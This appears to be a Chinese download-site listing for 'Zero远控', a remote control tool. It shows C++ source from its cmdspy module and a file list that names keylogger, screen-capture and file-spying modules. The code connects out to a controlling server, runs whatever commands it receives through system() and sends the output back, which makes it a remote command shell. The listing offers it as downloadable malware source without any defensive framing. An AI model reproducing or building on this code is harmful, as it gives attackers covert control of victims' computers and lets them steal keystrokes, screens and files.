资源简介
Zero远控_11
代码片段和文件信息
#include “cmdspy.h“
// 互挤体,用来确保线程安全
static CRITICAL_SECTION gCs;
// 初始化类
static CmdSpy gSpy;
// 临时饭后信息保存路径
static std::string gTmpReturnFile = “cmd_return.tmp“;
CmdSpy::CmdSpy()
{
// 初始化互挤体
InitializeCriticalSection(&gCs);
}
CmdSpy::~CmdSpy()
{
// 删除互挤体
DeleteCriticalSection(&gCs);
}
void CmdSpy::startByNewThread(std::string domain int port)
{
// 将域名和端口数据转换成一个字符指针类型
char *args = new char[MAX_PATH+sizeof(int)];
domain.reserve(MAX_PATH);
memcpy(argsdomain.data() MAX_PATH);
memcpy(args+MAX_PATH(char*)&port sizeof(int));
// 创建新线程
HANDLE h = CreateThread(NULL0 CmdSpy::threadProc(LPVOID)args0NULL);
if (!h) {
std::cout << “Failed to create new thread“ << std::endl;
std::fflush(stdout);
}
}
DWORD CmdSpy::threadProc(LPVOID args)
{
char domain[MAX_PATH];
memcpy(domain args MAX_PATH);
int port = *((int*)((char*)args+MAX_PATH));
// 开始监控
startCmdSpy(domain port);
// 释放参数
delete (char *)args;
return true;
}
void CmdSpy::startCmdSpy(std::string domain int port)
{
// 创建socket并连接至服务端
TcpSocket sock;
if (!sock.connectTo(domain port)) {
std::cout << “Failed to connect cmd spy server “ <<
domain << “:“ << port << std::endl;
std::fflush(stdout);
return;
}
// 开始监控消息
std::cout << “Started cmd spy“ << std::endl;
std::fflush(stdout);
// 死循环,不断从服务端接收数据
const int packetSize = 800;
char szData[packetSize];
int ret;
std::string buf;
while (1) {
ret = sock.recvData(szData packetSize);
// 出现错误
if (ret == SOCKET_ERROR || ret == 0) {
break;
}
// 把数据加入到缓冲区
addDataToBuffer(&sock buf szData ret);
}
// 完成
std::cout << “Finished cmd spy“ << std::endl;
std::fflush(stdout);
}
void CmdSpy::addDataToBuffer(TcpSocket *sock std::string &buf char *data int size)
{
buf.append(datasize);
// 把数据转换成指令模式
int endIndex;
while ((endIndex = buf.find(gSpy.CmdEnd)) >= 0) {
std::string cmd = buf.substr(0endIndex);
buf.erase(0 endIndex+gSpy.CmdEnd.length());
// 处理指令
std::string retData = execCmd(cmd);
// 发送Cmd命令返回数据到服务端
sock->sendData(retData.data() retData.size());
// 发送当前文件位置
std::string pwd = gSpy.CmdPwd;
pwd.append(gSpy.CmdSplit);
pwd.append(getPWD());
// 发送Cmd命令返回数据到服务端
sock->sendData(pwd.data() pwd.size());
}
}
std::string CmdSpy::execCmd(std::string cmd)
{
// 锁定函数,其他线程不能进来
EnterCriticalSection(&gCs);
// 执行指令,然后保存在临时文件
system(cmd.append(“ > “).append(gTmpReturnFile).data());
// 打开临时文件
FILE *fp = fopen(gTmpReturnFile.data() “rb“);
if (!fp) {
std::cout << “Failed to open return file of cmd\n“;
std::fflu
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 3969 2016-12-25 15:47 Zero远控_11\ZeroClient\cmdspy.cpp
文件 961 2016-12-25 14:50 Zero远控_11\ZeroClient\cmdspy.h
文件 13714 2016-12-25 12:53 Zero远控_11\ZeroClient\filespy.cpp
文件 3525 2016-12-24 08:57 Zero远控_11\ZeroClient\filespy.h
文件 1378 1997-10-18 15:41 Zero远控_11\ZeroClient\jpeg\jconfig.h
文件 12717 2014-09-03 11:55 Zero远控_11\ZeroClient\jpeg\jmorecfg.h
文件 47339 2016-12-21 08:02 Zero远控_11\ZeroClient\jpeg\jpeglib.h
文件 235030 2014-04-05 15:23 Zero远控_11\ZeroClient\jpeg\libjpeg.lib
文件 7116 2016-12-25 12:53 Zero远控_11\ZeroClient\keyboardspy.cpp
文件 1512 2016-12-22 15:24 Zero远控_11\ZeroClient\keyboardspy.h
文件 1203 2016-12-25 13:04 Zero远控_11\ZeroClient\main.cpp
文件 9188 2016-12-23 12:36 Zero远控_11\ZeroClient\screenspy.cpp
文件 1378 2016-12-21 14:42 Zero远控_11\ZeroClient\screenspy.h
文件 3746 2016-12-24 11:08 Zero远控_11\ZeroClient\tcpsocket.cpp
文件 910 2016-12-24 10:55 Zero远控_11\ZeroClient\tcpsocket.h
文件 8162 2016-12-25 14:27 Zero远控_11\ZeroClient\zeroclient.cpp
文件 2400 2016-12-25 13:11 Zero远控_11\ZeroClient\zeroclient.h
文件 331 2016-12-25 12:01 Zero远控_11\ZeroClient\ZeroClient.pro
文件 23635 2016-12-25 16:05 Zero远控_11\ZeroClient\ZeroClient.pro.user
文件 12843 2016-12-24 17:34 Zero远控_11\ZeroServer\filespy.cpp
文件 4165 2016-12-24 16:20 Zero远控_11\ZeroServer\filespy.h
文件 4122 2016-12-24 17:47 Zero远控_11\ZeroServer\filetransfer.cpp
文件 1375 2016-12-24 17:44 Zero远控_11\ZeroServer\filetransfer.h
文件 1784 2016-12-23 17:59 Zero远控_11\ZeroServer\keyboardspy.cpp
文件 984 2016-12-22 17:42 Zero远控_11\ZeroServer\keyboardspy.h
文件 199 2016-12-19 12:00 Zero远控_11\ZeroServer\main.cpp
文件 5064 2016-04-24 09:10 Zero远控_11\ZeroServer\resources\cmdspy.png
文件 8132 2016-04-24 09:13 Zero远控_11\ZeroServer\resources\filespy.png
文件 4560 2016-04-24 09:23 Zero远控_11\ZeroServer\resources\keyboardspy.png
文件 7688 2016-04-24 09:14 Zero远控_11\ZeroServer\resources\screenspy.png
............此处省略29个文件信息
评论
共有 条评论